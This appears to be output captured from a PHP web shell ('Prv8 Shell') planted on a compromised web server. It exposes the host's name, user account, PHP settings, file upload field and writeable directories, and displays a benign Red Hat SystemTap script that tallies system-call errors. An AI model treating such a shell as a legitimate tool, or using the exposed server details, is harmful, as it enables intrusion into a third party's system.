Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /proc/17567/root/usr/share/systemtap/examples/profiling/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/17567/root/usr/share/systemtap/examples/profiling/errno.stp
#!/usr/bin/stap
#
# Copyright (C) 2010, 2018 Red Hat, Inc.
# By Dominic Duval, Red Hat Inc.
# dduval@redhat.com
#
# Monitors errors returned by system calls.
#
# USAGE: stap errno.stp
#

global execname, errors

probe syscall_any.return {
  errno = retval
  if ( errno < 0 ) {
    p = pid()
    execname[p]=execname();
    errors[p, errno, name] <<< 1
  }
}

probe end {
  printf("\n")
  printf("%8s %-32s %-16s %-12s %8s\n",
    "PID", "Syscall", "Process", "Error", "Count")
  foreach ([pid, error, thissyscall] in errors- limit 20) {
    printf("%8d %-32s %-16s %-12s %8d\n",
      pid,
      thissyscall, 
      execname[pid],
      error ? errno_str(error) : "",
      @count(errors[pid, error, thissyscall])
    )
  }
}

global prom_arr

probe prometheus {
  foreach ([p, errno, name] in errors- limit 20) {
    prom_arr[p, errno, name] = @count(errors[p, errno, name])
  }

  @prometheus_dump_array3(prom_arr, "count", "pid", "errno", "name")
  delete prom_arr
}

haha - 2025